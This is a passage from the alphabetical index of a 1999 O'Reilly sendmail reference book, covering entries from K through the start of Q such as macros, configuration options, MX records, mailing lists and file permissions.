k option : (see ConnectionCacheSize (k) option)
K option : (see ConnectionCacheTimeout (K) option)
keyed databases : (see databases)
keys, duplicate database : 33.2.1.1. -d allow duplicate keys
"Keywords:" header line : 35.10. Alphabetized Reference
killing sendmail daemon
4.1.1.1. Kill and restart, beginning with V8.7
15.5. Prevent the Daemon from Running

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: L

L command (sendmail.cf)
D.1. Sun Enhancements
D.4. L and G Configuration Commands
l flag : 30.8. Alphabetized F= Flags
L flag : 30.8. Alphabetized F= Flags
$l macro : (see UnixFromLine option)
$L macro : 31.10. Alphabetized Reference
l option : (see UseErrorsTo (l) option)
L option : (see LogLevel (L) option)
L= equate
18.8. Alphabetized Reference
30.4. The Equates
LA_TYPE macro : 18.8. Alphabetized Reference
last connection time : B.1. Status file lines
LD_LIBRARY_PATH variable : 22.2. The Environment
LDAPMAP macro : 18.8. Alphabetized Reference
ldapx database class : 33.8. Alphabetized Reference
LDOPTS= directive : 18.4.4. LDOPTS=
level
debugging : 4.3. Debugging (-d)
logging : (see logging)
version : (see version)
warning
26.1.1. syslog(3)
26.1.2. Tuning syslog.conf
LHS, rule
8.4. Rules
8.7.1. Other Text in the LHS
28.5. The LHS
(see also rule sets)
class macros in : 12.1.3. Class Macros in the LHS
wildcards for : (see wildcard operators)
LIBDIRS= directive : 18.4.5. LIBDIRS=
libresolv.a : 18.5.1. Use libresolv.a
LIBS= directive : 18.4.6. LIBS=
libwrap.a package
18.8. Alphabetized Reference
22.4.1. Accept/Reject Connections via libwrap.a
life, queue messages : 13.2.2. Limit the Life of Queued Messages
Lightweight Directory Access Protocol (LDAP)
18.8. Alphabetized Reference
33.8. Alphabetized Reference
limited_masquerade feature : 19.6. Alphabetized m4 Macros
limiting
number of processable messages : 23.5. How the Queue Is Processed
queue message lifetime : 13.2.2. Limit the Life of Queued Messages
line length
30.4. The Equates
30.8. Alphabetized F= Flags
list precedence : 14.4. Precedence
list syntax : (see mailing lists)
list-bounce alias : 25.5.3. A list-bounced Alias
List:; form addresses
17.1.2.1. A rule to handle List:;
17.3. Rule Set 0
ListProcessor package : 25.6.3. ListProcessor
lists, old-style address : 13.2.7. Accept Old-Style Lists of Addresses
load : (see performance)
local
aliases : 24.1.2. Local Must Be Local
canonical name
21.2.1. Determine the Local Canonical Name
31.10. Alphabetized Reference
checking if host is : 17.2.1. Is the Host Local?
delivery : 30.8. Alphabetized F= Flags
delivery agent
6.3. The local Delivery Agent
30.2.1. Required Symbolic Names
30.8. Alphabetized F= Flags
domains, list of : 32.5. Alphabetized Reference
recipients
3.2. Role in Local Delivery
19.6. Alphabetized m4 Macros
29.6.3. Delivering to Local Recipient
server, local delivery on : 19.6. Alphabetized m4 Macros
users
20.2.1. Accept Mail Only From Our Domain
31.10. Alphabetized Reference
UUCP handling : 29.6.5. Handling UUCP Locally
LOCAL_CONFIG macro (m4) : 19.6. Alphabetized m4 Macros
LOCAL_NET_CONFIG macro (m4) : 19.6. Alphabetized m4 Macros
local_procmail feature : 19.6. Alphabetized m4 Macros
LOCAL_RELAY macro (m4) : 19.6. Alphabetized m4 Macros
LOCAL_REPLAY macro (m4) : 31.10. Alphabetized Reference
LOCAL_RULE macro (m4) : 19.6. Alphabetized m4 Macros
LOCAL_RULE_# macros (m4) : 19.6. Alphabetized m4 Macros
LOCAL_RULESETS macro (m4) : 19.6. Alphabetized m4 Macros
LOCAL_USER macro (m4) : 19.6. Alphabetized m4 Macros
lock file : 23.2.3. The Lock File (obsolete as of V5.62): lf
LOG macro : 18.8. Alphabetized Reference
LOG_MAIL : (see facility, mail-handling program)
LOG_PID : 26.1.1. syslog(3)
logging
13.2.6. The Default Logging Level
18.8. Alphabetized Reference
26.1. Logging with syslog
36.7. Alphabetized Reference
syslog utility : 26.1.1. syslog(3)
-X switch for : 26.4. Log Transactions with -X
LogLevel (L) option
13.2.6. The Default Logging Level
22.8.3.3. The LogLevel option
26.1.1. syslog(3)
34.8. Alphabetized Reference
LogLevel variable for : 20.1.2. Global Variables
looking up database keys : 20.3. Alphabetized V8.8 Subroutines
loops
forwarding : 25.7.2. Forwarding Loops
in HELO command : 30.8. Alphabetized F= Flags
in rule sets : 28.6.2. Rewrite Once Prefix: $:
LOTUS_NOTES_HACK macro : 18.8. Alphabetized Reference
LUSER-RELAY macro (m4) : 19.6. Alphabetized m4 Macros
LUSER_RELAY macro (m4) : 31.10. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: M

m class : 32.5. Alphabetized Reference
M class, masquerading based on : 19.6. Alphabetized m4 Macros
M configuration command
5.3.1. Mail Delivery Agents
6.2. Define a Mail Delivery Agent
6.3. The local Delivery Agent
30.1. Configuration File Syntax
-m database switch : 33.3.4.5. -m suppress replacement on match (V8.1 and above)
m flag : 30.8. Alphabetized F= Flags
M flag
14.2.3. The Message-ID: Header
30.8. Alphabetized F= Flags
M line (qf file)
23.4.1. Printing the Queue in Verbose Mode
23.9. The qf File Internals
M lines in sendmail.cf : 3.1. Role in the Filesystem
$m macro
7.3.1. The hostname
12.1.7. Adding the Domain
31.10. Alphabetized Reference
$M macro : 31.10. Alphabetized Reference
M option
31.2. Command-Line Definitions
34.1.3. Appropriateness of Options
34.8. Alphabetized Reference
m option : (see MeToo (m) option)
M rule-testing command : 38.4.2. Show Delivery Agents with =M
-m switch
18.3.2. The makesendmail Script
36.7. Alphabetized Reference
-M switch
31.2. Command-Line Definitions
36.7. Alphabetized Reference
m4 preprocessor
16.3. Run m4
19. V8 m4 Configuration
class macros and : 32.3. Class with m4
comments in files : 19.5. Pitfalls
configuration version : 31.10. Alphabetized Reference
database maps and : 33.6. Database Maps and m4
delivery agent configuration : 30.3. m4 Configuration Syntax
diversions : 19.1.4. m4 diversions
macros and : 31.8. Macros with the m4 Technique
rule sets and : 29.2. Rule Sets and m4
sendmail options and : 34.3. Configuring with V8 m4 Options
M= equate : 30.4. The Equates
macid() : 20.3. Alphabetized V8.8 Subroutines
Macintosh : 3.3.3. Other Protocols
macro conditionals
14.1.3. Testing So Far
31.6. Macro Conditionals: $?, $|, and $.
macros
5.3.2. Macros
7. Macros
31.9. Pitfalls
class macros
5.3.5. Class Macros
12. Class
32. Class Macros
classes and : 12.1.1.1. A caveat
database macros : 33. Database Macros
declaring
7.2. Defining Macros
31.2. Command-Line Definitions
defining
19.4.2. Define Macros
20.3. Alphabetized V8.8 Subroutines
36.7. Alphabetized Reference
38.2.1. Define a Macro with .D
with M option : 34.8. Alphabetized Reference
dumping : 38.3. Dump a Macro
fetching value of : 20.3. Alphabetized V8.8 Subroutines
file class macros : 5.3.6. File Class Macros
for compiling sendmail : 18.8. Alphabetized Reference
in header fields : 35.3.1. Macros in the Header Field
initializing : 36.4.2.2. Initialize macros
m4 preprocessor : 19. V8 m4 Configuration
naming
5.3.2. Macros
7.2. Defining Macros
31.4. Macro Names
converting names to integers : 20.3. Alphabetized V8.8 Subroutines
predefined
7.3. Predefined Macros
31.1. Preassigned Macros
required : 31.3.1. Required Macros (V8.6 and earlier)
restoring macro values : 23.9. The qf File Internals
in rule set names : 29.1.4. Macros in Rule-Set Names
in rules : 28.1.1. Macros in Rules
for time and date : 31.7.2. Macros and the Date
macvalue() : 20.3. Alphabetized V8.8 Subroutines
mail
bombs : 20.2.6. Reject Mail from Spamming or Mail-bombing Sites
messages : (see messages)
queue : (see queue)
transport agents (MTAs) : (see delivery agents)
user agents : (see MUAs)
MAIL command (SMTP)
29.10.1. The check_mail Rule Set
34.8. Alphabetized Reference
Mail Exchanger records : (see MX records)
mail hubs : (see hubs)
mail program : 3.2.1. Delivery to a Mailbox
"Mail-From:" header line : 35.10. Alphabetized Reference
mail11 program : 3.3.3. Other Protocols
MAIL_HUB macro (m4)
19.6. Alphabetized m4 Macros
31.10. Alphabetized Reference
mailbox file : 3.2.1. Delivery to a Mailbox
MAILER command (UUCP) : 31.10. Alphabetized Reference
MAILER() (m4)
19.3.2. MAILER()
30.3. m4 Configuration Syntax
MAILER-DAEMON alias
3.1.1. The Aliases File
24.4.2. The MAILER-DAEMON Alias
31.10. Alphabetized Reference
(see also $n macro)
mailer= equate (syslog output) : 26.1.3.4. mailer= the delivery agent used
MAILER_DEFINITIONS macro (m4) : 19.6. Alphabetized m4 Macros
mailertable feature : 19.6. Alphabetized m4 Macros
mailing lists
1.3.3. Aliases and Mailing Lists
17.1.2.1. A rule to handle List:;
20.2.2. Workstation Refuses to Act as a Mail Gateway
34.8. Alphabetized Reference
exploder lists : 25.4. Exploder Mailing Lists
EXPN command (SMTP) : 22.3.2. SMTP vrfy and expn
:include: directive
22.5.2. Permissions for :include:
23.9. The qf File Internals
25.2. :include: Mailing Lists
including oneself on : 34.8. Alphabetized Reference
internal : 25.1. Internal Mailing Lists
list precedence : 14.4. Precedence
owner- : 25.3. Defining a Mailing List Owner
packages for : 25.6. Packages That Help
troubleshooting : 25.5. Problems with Mailing Lists
mailq command
4.1.2. Show Queue Mode (-bp)
36.1.2. mailq
mailstats program : 26.2.2. Viewing Statistics: mailstats
Majordomo package : 25.6.1. Majordomo
make command : 2.5. Build
Makefile file
2.4. Preliminaries
18.4. Tuning Makefile
db library package : C.2. Get the Source
makemap program : 33.2. Create Files with makemap
makesendmail script
2.4. Preliminaries
18.3.2. The makesendmail Script
18.6. Install sendmail
manual sendmail use : 1.4. Run sendmail by Hand
/map rule-testing command : 38.5.3. Look up a Database Item with /map
map_lookup() : 20.3. Alphabetized V8.8 Subroutines
MASQUERADE_AS macro (m4)
19.6. Alphabetized m4 Macros
31.10. Alphabetized Reference
MASQUERADE_DOMAIN macro (m4) : 19.6. Alphabetized m4 Macros
MASQUERADE_DOMAIN_FILE macro (m4) : 19.6. Alphabetized m4 Macros
masquerade_entire_domain feature : 19.6. Alphabetized m4 Macros
masquerade_envelope feature : 19.6. Alphabetized m4 Macros
masquerading
19.4.4. Masquerading
19.6. Alphabetized m4 Macros
MatchGecos (G) option
20.1.2. Global Variables
34.8. Alphabetized Reference
MATCHGECOS macro : 18.8. Alphabetized Reference
matching : (see wildcard operators)
MAX... macros : 18.8. Alphabetized Reference
MaxDaemonChildren option
34.1.3. Appropriateness of Options
34.8. Alphabetized Reference
MaxHopCount (h) option : 34.8. Alphabetized Reference
maximum line length
30.4. The Equates
30.8. Alphabetized F= Flags
MAXLINE variable : 18.8. Alphabetized Reference
MaxMessageSize : 34.8. Alphabetized Reference
MaxQueueRunSize option
23.4. Printing the Queue
34.8. Alphabetized Reference
MAXRWSETS variable : 29.1.2. Rule-Set Names
mc files
19.3. The Minimal mc File
19.6. Alphabetized m4 Macros
MDAs : (see delivery agents)
MEMCHUNKSIZE macro : 18.8. Alphabetized Reference
memory : 34.8. Alphabetized Reference
memory (ses size) : 18.8. Alphabetized Reference
"Message:" header line : 35.10. Alphabetized Reference
message queue : (see queue)
"Message-ID:" header line
1.5. The Header
13.4. Sending Mail
14.2.3. The Message-ID: Header
26.1.3.5. msgid= the Message-ID: identifier
30.8. Alphabetized F= Flags
35.5.16. Replacing Headers with H_ACHECK
35.10. Alphabetized Reference
message_volume.sh script : 26.1.4.1. message_volume.sh
messages, error : (see error messages)
messages, mail : 34.8. Alphabetized Reference
blank lines ending : 30.8. Alphabetized F= Flags
body of
1.6. The Body
23.2.2. The Data (Message Body) File: df
body type : (see -B switch)
bouncing
23.3.6. Savemail Panic
25.5.1. Reply Versus Bounce
25.5.3. A list-bounced Alias
34.8. Alphabetized Reference
35.10. Alphabetized Reference
36.7. Alphabetized Reference
(see also bouncing messages)
converting between 7- and 8-bit : 18.8. Alphabetized Reference
delivering : (see delivery)
envelope : (see envelope)
error : (see errors)
forged : 22.7. Forged Mail
forwarding : 35.7. Forwarding with Resent-Headers
forwarding loops : 25.7.2. Forwarding Loops
headers for : (see headers, message)
holding : (see queue)
hop count : (see hop count)
hub's acceptance of : 15.4. Hub Accepts Mail for Client
leading dots in : 34.8. Alphabetized Reference
limiting size of : 20.2.3. Limit the Size of Guest Messages
origin date of : (see $a macro)
priority of
14.4. Precedence
(see priority, message)
processing limits on : 23.5. How the Queue Is Processed
queue : (see queue)
queue lifetime of
13.2.2. Limit the Life of Queued Messages
34.8. Alphabetized Reference
rejecting
18.8. Alphabetized Reference
20.2.6. Reject Mail from Spamming or Mail-bombing Sites
relays for : 19.4.5. Relays
sending
13.4. Sending Mail
14.5. Sending Real Mail
size of
26.1.3.10. size= the size of the message
30.4. The Equates
34.8. Alphabetized Reference
stored in queue in error : 23.9. The qf File Internals
time placed in queue : 23.9. The qf File Internals
unique identifier for
13.4. Sending Mail
14.2.3. The Message-ID: Header
26.1.3.5. msgid= the Message-ID: identifier
messages, SMTP greeting
31.10. Alphabetized Reference
34.8. Alphabetized Reference
messages, warning : (see warning messages)
MeToo (m) option
34.8. Alphabetized Reference
36.7. Alphabetized Reference
MIME (Multipurpose Internet Mail Extensions) : 5.3.8. Headers
format errors : 34.8. Alphabetized Reference
headers for : 35.6.7. MIME Headers
"MIME-Version:" header line : 35.10. Alphabetized Reference
MIME7TO8 macro : 18.8. Alphabetized Reference
MIME8TO7 macro : 18.8. Alphabetized Reference
MinFreeBlocks (b) option : 34.8. Alphabetized Reference
minimum matching
8.7.2. Minimal Matching
28.5.1. Minimum Matching
32.2.3. Backup and Retry
MinQueueAge option
23.9. The qf File Internals
34.8. Alphabetized Reference
missing addresses : (see null, addresses)
"Missing username" error : 9.4. The error Delivery Agent
modes
daemon : 4.1.1. Daemon Mode (-bd)
delivery : 13.2.3. The Default Delivery Mode
sendmail operating : 36.7. Alphabetized Reference
TempFileMode option
13.2.4. The Default File Permissions
22.8.3.7. The TempFileMode option
mqueue directory : (see queue directory)
${ms} macro : D.1. Sun Enhancements
msgid= equate (syslog output) : 26.1.3.5. msgid= the Message-ID: identifier
MTAs : (see delivery agents)
MUAs (mail user agents)
1.1. MUA Versus MTA
36.7. Alphabetized Reference
(see also delivery agents)
multicharacter
names : (see names)
options : (see options, sendmail)
multiple
recipients : 30.8. Alphabetized F= Flags
SMTP connections : 34.8. Alphabetized Reference
timeouts : 34.8. Alphabetized Reference
Multipurpose Internet Mail Extensions : (see MIME)
MustQuoteChars option : 34.8. Alphabetized Reference
MX records
15.3. MX Records
18.8. Alphabetized Reference
21.3. Set Up MX Records
34.8. Alphabetized Reference
38.5.2. Look Up MX Records with /mx
0 flag : 30.8. Alphabetized F= Flags
bestmx database class : 33.8. Alphabetized Reference
bestmx_is_local feature : 19.6. Alphabetized m4 Macros
fallback MX host : 34.8. Alphabetized Reference
ignored by delivery agents : 21.3.5. What? They Ignore MX Records?
looking up for addresses : 21.2.3. Look Up Addresses for Delivery
offsite hosts : 21.5.1. Offsite MX Hosts
with wildcards : 21.3.4. Wildcard MX Records
/mx rule-testing command : 38.5.2. Look Up MX Records with /mx

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: N

n class : 32.5. Alphabetized Reference
-N database switch : 33.3.4.6. -N append a null byte to all keys (V8.1 and above)
n flag : 30.8. Alphabetized F= Flags
N line (qf file) : 23.9. The qf File Internals
$n macro
10.3. Missing Addresses
24.4.2. The MAILER-DAEMON Alias
31.10. Alphabetized Reference
n option : (see CheckAliases (n) option)
-n switch
18.3.2. The makesendmail Script
24.6. Prevent Aliasing with -n
36.7. Alphabetized Reference
-N switch : 36.7. Alphabetized Reference
-N switch (makemap) : 33.2.1.3. -N append a null byte to all keys
N= equate : 30.4. The Equates
name servers
21.1. Overview
21.5.2. Offsite Servers
name-server lookups : 33.4.3. $[ and $]: A Special Case
NAMED_BIND macro : 18.8. Alphabetized Reference
names
alternative for sendmail : 36.1. Alternative argv[0] Names
canonical
7.3.1. The hostname
31.10. Alphabetized Reference
canonicalizing : (see canonicalization)
changing from host to hub : 11.6. Handling user@thishost
classes
12.1. The Class Command
32.2.4. Class Name Hashing Algorithm
controlling terminal : 31.10. Alphabetized Reference
DNS : (see DNS)
domain
8.1. A Fictional Network
19.6. Alphabetized m4 Macros
31.10. Alphabetized Reference
FQDNs
7.3.1. The hostname
8.1. A Fictional Network
full sender : (see $x macro)
headers : 35.2. Header Names
hostnames : (see hostnames)
hub, internal : 11.4.2. A Word About ${HUB}
local canonical
21.2.1. Determine the Local Canonical Name
31.10. Alphabetized Reference
macros
5.3.2. Macros
7.2. Defining Macros
20.3. Alphabetized V8.8 Subroutines
31.4. Macro Names
options : 13.1. Options: An Overview
RealHostName variable : 20.1.2. Global Variables
rule set : 29.1.2. Rule-Set Names
symbol, delivery agent : 30.2. The Symbolic Name
unqualified
19.6. Alphabetized m4 Macros
31.10. Alphabetized Reference
user : (see usernames)
nameser.h file : B.1. Status file lines
ndbm database : 33.8. Alphabetized Reference
NDBM macro : 18.8. Alphabetized Reference
NEED... macros : 18.8. Alphabetized Reference
negative precedence values : 14.4. Precedence
nested
angle brackets
10.4. Nested Angle Brackets
17.1.1.2. Strip to left of <
macro conditionals : 31.6.1. Conditionals May Nest
NET... macros : 18.8. Alphabetized Reference
netinfo database class : 33.8. Alphabetized Reference
NETINFO macro : 18.8. Alphabetized Reference
network support : 18.8. Alphabetized Reference
networks : 3.3. Role in Network Transport
AppleTalk : 3.3.3. Other Protocols
DECnet : 3.3.3. Other Protocols
forwarding over : 29.6.6. Forwarding over the Network
newaliases command
4.1.3. Rebuild Aliases Mode (-bi)
24.5.3. Prevent Simultaneous Rebuilds
36.1.3. newaliases
NEWDB macro : 18.8. Alphabetized Reference
newlines : (see whitespace)
news, mailing list gateways to : 25.5.2. Gateway Lists to News
nf files : 23.2.4. The ID Creation File (obsolete as of V5.62): nf
niceness, delivery agent : 30.4. The Equates
nis database class : 33.8. Alphabetized Reference
NIS macro : 18.8. Alphabetized Reference
nisplus database class : 33.8. Alphabetized Reference
NISPLUS macro : 18.8. Alphabetized Reference
NNTPSERVER variable : 31.2.1. Syntax of the Command-Line Macro's Text
"No local mailer defined" message : 6.2.1. Testing the client.cf File
"no mailer in parsed address" error : 29.6. Rule Set 0
"No such file or directory" error : 12.2. The File Form of Class
NO_GROUP_SET macro : 18.8. Alphabetized Reference
nobody user : 22.8.3.1. The DefaultUser option
nocanonify feature : 19.6. Alphabetized m4 Macros
nodns feature
19.6. Alphabetized m4 Macros
21.1.2. Make sendmail DNS Aware
NoRecipientAction option : 34.8. Alphabetized Reference
normalizing addresses : 17.1.2. Normalize the Address
NOTIFY command (SMTP) : 36.7. Alphabetized Reference
NOTIFY extension, DSN : 23.9. The qf File Internals
notsticky feature : 19.6. Alphabetized m4 Macros
NOTUNIX macro : 18.8. Alphabetized Reference
nouucp feature : 19.6. Alphabetized m4 Macros
nrcpts= equate (syslog output) : 26.1.3.6. nrcpts= the number of recipients
nslookup program : 21.4. How to Use nslookup
nsswitch.conf file
7.3.1. The hostname
D.4. L and G Configuration Commands
null
addresses
10.3. Missing Addresses
17.1.1.3. Handle null address
30.8. Alphabetized F= Flags
sendmail.cf file : 5.2. The Minimal File
null database class : 33.8. Alphabetized Reference
null.mc file : 16.2. The null.mc File
nullclient feature : 19.6. Alphabetized m4 Macros
numbers
29.1.1. Rule-Set Numbers
(see also identifier)
delivery failure count : 23.9. The qf File Internals
DNS errors : B.1. Status file lines
inode and device : 23.9. The qf File Internals
rule sets
8.3. Rule Sets
29.1.1. Rule-Set Numbers
SMTP status codes : B.1. Status file lines
UNIX errors : B.1. Status file lines
numeric-type arguments : 34.5. Option Argument Types

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: O

O configuration command
5.3.7. Options
13.1. Options: An Overview
-o database switch : 33.3.4.8. -o the database file is optional (V8.1 and above)
-O database switch : 33.3.4.7. -O adaptive versus never add a null (V8.2 and above)
o flag : 30.8. Alphabetized F= Flags
O lines in sendmail.cf : 3.1. Role in the Filesystem
$o macro : (see OperatorChars (o) option)
o option : (see OldStyleHeaders (o) option)
O option : (see DaemonPortOptions (O) option)
-o switch (F command) : 12.2. The File Form of Class
-o switch (makemap) : 33.2.1.4. -o append to, don't overwrite the file
-o switch (sendmail) : 36.7. Alphabetized Reference
-O switch : 36.7. Alphabetized Reference
OBJADD= directive : 18.4.10. OBJADD=
obtaining
BIND via FTP : 21.1.1. Which DNS? 4.8.3 or 4.9?
db library package : C.2. Get the Source
sendmail source code
2.1. Get the Source
18.3. Obtain the Source
octal-type arguments : 34.5. Option Argument Types
-odq switch : 23.6.1. Periodically with -q
offsite primary name servers : 21.5.2. Offsite Servers
"ok" message : 4.2. Verbose (-v)
old-style address lists : 13.2.7. Accept Old-Style Lists of Addresses
OLD_NEWDB macro : 18.8. Alphabetized Reference
OldStyleHeaders (o) option
13.2.7. Accept Old-Style Lists of Addresses
34.8. Alphabetized Reference
open file descriptors : 26.3.3.1. -- open file descriptors: --
openlog command : 26.1.1. syslog(3)
operating system
administration : (see system administration)
errors
36.5.3. EX_IOERR A System I/O Error Occurred
36.5.5. EX_OSERR A System Resource Error
file failure : 36.5.6. EX_OSFILE A Critical System File Failure
load : (see performance)
OSTYPE declaration
16.2.2. OSTYPE
19.3.1. OSTYPE()
OperatorChars (o) option
8.3. Rule Sets
31.10. Alphabetized Reference
34.8. Alphabetized Reference
operators, token separation : (see OperatorChars (o) option)
${opmode} macro : 31.10. Alphabetized Reference
optional database files : 33.3.4.8. -o the database file is optional (V8.1 and above)
options, sendmail
3.1. Role in the Filesystem
4. How to Run sendmail
5.3.7. Options
13. Setting Options
19.4.1. Options
34. Options
(see also switches, command-line)
m4 and : 34.3. Configuring with V8 m4 Options
multicharacter
34.1.2. V8.7 Multicharacter Options in the Command Line
36.7. Alphabetized Reference
required : 13.2. Required Options
safe : 34.1.4. Options that Are Safe
security : 22.8.3. Security Options
single-character : 36.7. Alphabetized Reference
testing : 13.3. Testing the Options
ORCPT address : 23.9. The qf File Internals
origin date, message : (see $a macro)
orphaned locks : 23.2.3.3. Locks can get stuck
OSTYPE command (m4)
16.2.2. OSTYPE
19.3.1. OSTYPE()
output
debugging : 37.3. Interpreting the Output
rule testing : 38.6.4. The Output
syslog : 26.1.3. syslog's Output
overwriting files : 33.2.1.4. -o append to, don't overwrite the file
overwriting rule sets : 8.4. Rules
owner, mailing list : 25.3. Defining a Mailing List Owner
ownership : (see permissions)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: P

P configuration command
5.3.9. Priority
14.4. Precedence
35.8.1. The P Configuration Command
p flag : 30.8. Alphabetized F= Flags
P flag : 30.8. Alphabetized F= Flags
P line (qf file) : 23.9. The qf File Internals
$p macro : 31.10. Alphabetized Reference
p option : (see PrivacyOptions (p) option)
P option : (see PostmasterCopy (P) option)
-p switch : 36.7. Alphabetized Reference
P= equate
6.2. Define a Mail Delivery Agent
6.3. The local Delivery Agent
22.4.4. The P= of Delivery Agents
30.4. The Equates
/parse rule-testing command
15.1. Test the Configuration File
38.5.5. Parse an Address with /parse
parsing addresses
15.1. Test the Configuration File
38.5.5. Parse an Address with /parse
parsing for addresses : (see rule set 3)
passwd file : 30.8. Alphabetized F= Flags
gecos field : 14.2.1. The Full-Name: Header
mail hubs and : 6. The Mail Hub and Delivery Agents
trusted users and : 14.6. Trusted User
user database class for : 33.8. Alphabetized Reference
path
delivery agent : 30.4. The Equates
to execution directories : 30.4. The Equates
for .forward file : 22.8.3.2. The ForwardPath option
return, per RFC821 : 30.8. Alphabetized F= Flags
PATH... macros : 18.8. Alphabetized Reference
pathname : 12.2. The File Form of Class
mail delivery program
6.2. Define a Mail Delivery Agent
6.3. The local Delivery Agent
22.4.4. The P= of Delivery Agents
UUCP and : 8.1.4. UUCP and Host Paths
pattern matching : (see $ operators; wildcard operators)
performance
high-load queuing and : 34.8. Alphabetized Reference
:include: lists and : 25.2.2. Tradeoffs
incoming SMTP connection rate : 34.8. Alphabetized Reference
load average
18.8. Alphabetized Reference
23.4. Printing the Queue
mail hubs and : 6. The Mail Hub and Delivery Agents
MX records pointing to CNAMEs : 21.3.2. MX to CNAME Causes Extra Lookups
refusing connections on high load : 34.8. Alphabetized Reference
sendmail options for : 34.6.4. Controlling Machine Load
permissions
13.2.4. The Default File Permissions
22.5. Permissions
directory for safe writes : 34.8. Alphabetized Reference
.forward file and : 22.5.3. Permissions for ~/.forward Files
group : 34.8. Alphabetized Reference
NO_GROUP_SET macro : 18.8. Alphabetized Reference
qf file : 23.3.2. Bad qf Owner or Permissions
queue directory : 23.1. Overview of the Queue
root user
Other Books, Other Problems
14.6. Trusted User
22.1. Why root?
safe options : 34.1.4. Options that Are Safe
temporary files
22.8.3.7. The TempFileMode option
34.8. Alphabetized Reference
persistent host-status : 36.7. Alphabetized Reference
PICKY... macros : 18.8. Alphabetized Reference
PICKY_QF_NAME_CHECK variable
18.8. Alphabetized Reference
23.3.1. Badly Formed qf Filename
pid (process identifier) : 23.2.1. The Queue Identifier
including with logs : 26.1.1. syslog(3)
for sendmail : (see $p macro)
piping to programs : (see programs, delivering to)
plussed users : 24.4.3. Plussed Users
popen command : 18.8. Alphabetized Reference
PORT directory (db distribution) : C.2. Get the Source
port, reserved TCP : 30.8. Alphabetized F= Flags
positional operators
9.2.3. The User ($:)
10.2.2. The RHS
12.1.4. Class Macros in the RHS
28.6.1. Copy by Position: $digit
m4 arguments and : 19.1.3. m4 and arguments
post-office : 18.1. To Use or Not to Use
"Posted-Date:" header line : 35.10. Alphabetized Reference
postmaster alias
3.1.1. The Aliases File
24.4.1. The Postmaster Alias
34.8. Alphabetized Reference
PostmasterCopy (P) option
22.8.3.4. The PostmasterCopy option
24.4.1. The Postmaster Alias
34.8. Alphabetized Reference
"Precedence:" header line
14.4. Precedence
25.5.5. Precedence: bulk
26.1.3.1. class= the queue class
35.8. Precedence
35.10. Alphabetized Reference
precedence weight : 34.8. Alphabetized Reference
precedence, message : (see priority, message)
predefined macros
7.3. Predefined Macros
31.1. Preassigned Macros
preference
host
15.3. MX Records
21.3. Set Up MX Records
message delivery : (see priority, message)
preprocessing rule set : (see rule set 3)
pri= equate (syslog output) : 26.1.3.7. pri= the initial priority
primary servers, offsite : 21.5.2. Offsite Servers
printing
delivery agent definitions : 6.3.3. Testing the New Delivery Agent Definitions
list of delivery agents : 38.4.2. Show Delivery Agents with =M
macro definitions : 7.3. Predefined Macros
persistent-host status : 36.7. Alphabetized Reference
queue
4.1.2. Show Queue Mode (-bp)
23.2.3.2. Locks shown when printing the queue
23.4. Printing the Queue
36.7. Alphabetized Reference
sendmail.st file : 26.2.2. Viewing Statistics: mailstats
priority
logging : 26.1.1. syslog(3)
mailing lists : 25.5.5. Precedence: bulk
message
5.3.9. Priority
14.4. Precedence
23.4.1. Printing the Queue in Verbose Mode
23.9. The qf File Internals
26.1.3.7. pri= the initial priority
35.8. Precedence
precedence weight : 34.8. Alphabetized Reference
raising for retry : 34.8. Alphabetized Reference
"Priority:" header line : 35.10. Alphabetized Reference
PrivacyOptions (p) option
22.8.3.5. The PrivacyOptions option
34.8. Alphabetized Reference
processes : (see pid)
processing
command line : 36.4. Processing the Command Line
flow of rules : 29.3. The Sequence of Rule Sets
queue
23.5. How the Queue Is Processed
36.7. Alphabetized Reference
procmail program
19.6. Alphabetized m4 Macros
25.7.5.2. The procmail program
prog delivery agent : 30.2.1. Required Symbolic Names
program database class : 33.8. Alphabetized Reference
program form, F command : 22.4.3. The F Command - Program Form
programs
delivering to
3.2.2. Delivery Through a Program
24.2.3. Delivery via Programs
25.7.4. Piping Through Programs
delivery to : 30.8. Alphabetized F= Flags
filter
24.4.1. The Postmaster Alias
24.6.2. Filtering Recipients with a Shell Script
proto= equate (syslog output) : 26.1.3.8. proto= the protocol used in transmission
protocols, transmission
26.1.3.8. proto= the protocol used in transmission
31.10. Alphabetized Reference
(see also under specific protocol)
$r macro : 31.10. Alphabetized Reference
setting : 36.7. Alphabetized Reference
pruning route addresses : 34.8. Alphabetized Reference
ps command : 4.1.1.3. Kill and restart, old versions
PSBUFSIZ macro : 18.8. Alphabetized Reference
purgestat command : 36.1.4. purgestat (V8.8 and Above)
purging persistent-host status : 36.7. Alphabetized Reference

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Q

q class : 32.5. Alphabetized Reference
